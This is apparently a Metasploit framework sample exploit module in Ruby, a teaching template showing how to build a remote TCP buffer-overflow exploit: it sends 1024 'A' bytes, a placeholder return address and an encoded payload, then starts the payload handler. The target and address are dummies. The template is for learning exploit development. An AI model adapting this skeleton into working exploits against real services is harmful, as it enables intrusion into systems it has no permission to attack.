78 lines
1.5 KiB
Ruby
78 lines
1.5 KiB
Ruby
require 'msf/core'
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module Msf
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###
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#
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# This exploit sample shows how an exploit module could be written to exploit
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# a bug in an arbitrary TCP server.
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#
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###
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class Exploits::Sample < Msf::Exploit::Remote
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#
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# This exploit affects TCP servers, so we use the TCP client mixin.
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#
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sample exploit',
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'Description' => %q{
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This exploit module illustrates how a vulnerability could be exploited
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in an TCP server that has a parsing bug.
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},
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'Author' => 'skape',
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'Version' => '$Revision$',
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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# Target 0: Windows All
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[
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'Windows Universal',
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{
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'Platform' => 'win',
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'Ret' => 0x41424344
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}
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],
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],
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'DefaultTarget' => 0))
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end
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#
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# The sample exploit just indicates that the remote host is always
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# vulnerable.
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#
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def check
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return Exploit::CheckCode::Vulnerable
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end
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#
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# The exploit method connects to the remote service and sends 1024 A's
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# followed by the fake return address and then the payload.
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#
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def exploit
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connect
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print_status("Sending #{payload.encoded.length} byte payload...")
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# Build the buffer for transmission
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buf = "A" * 1024
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buf += [ target.ret ].pack('V')
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buf += payload.encoded
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# Send it off
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sock.put(buf)
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sock.get
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handler
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end
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end
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end
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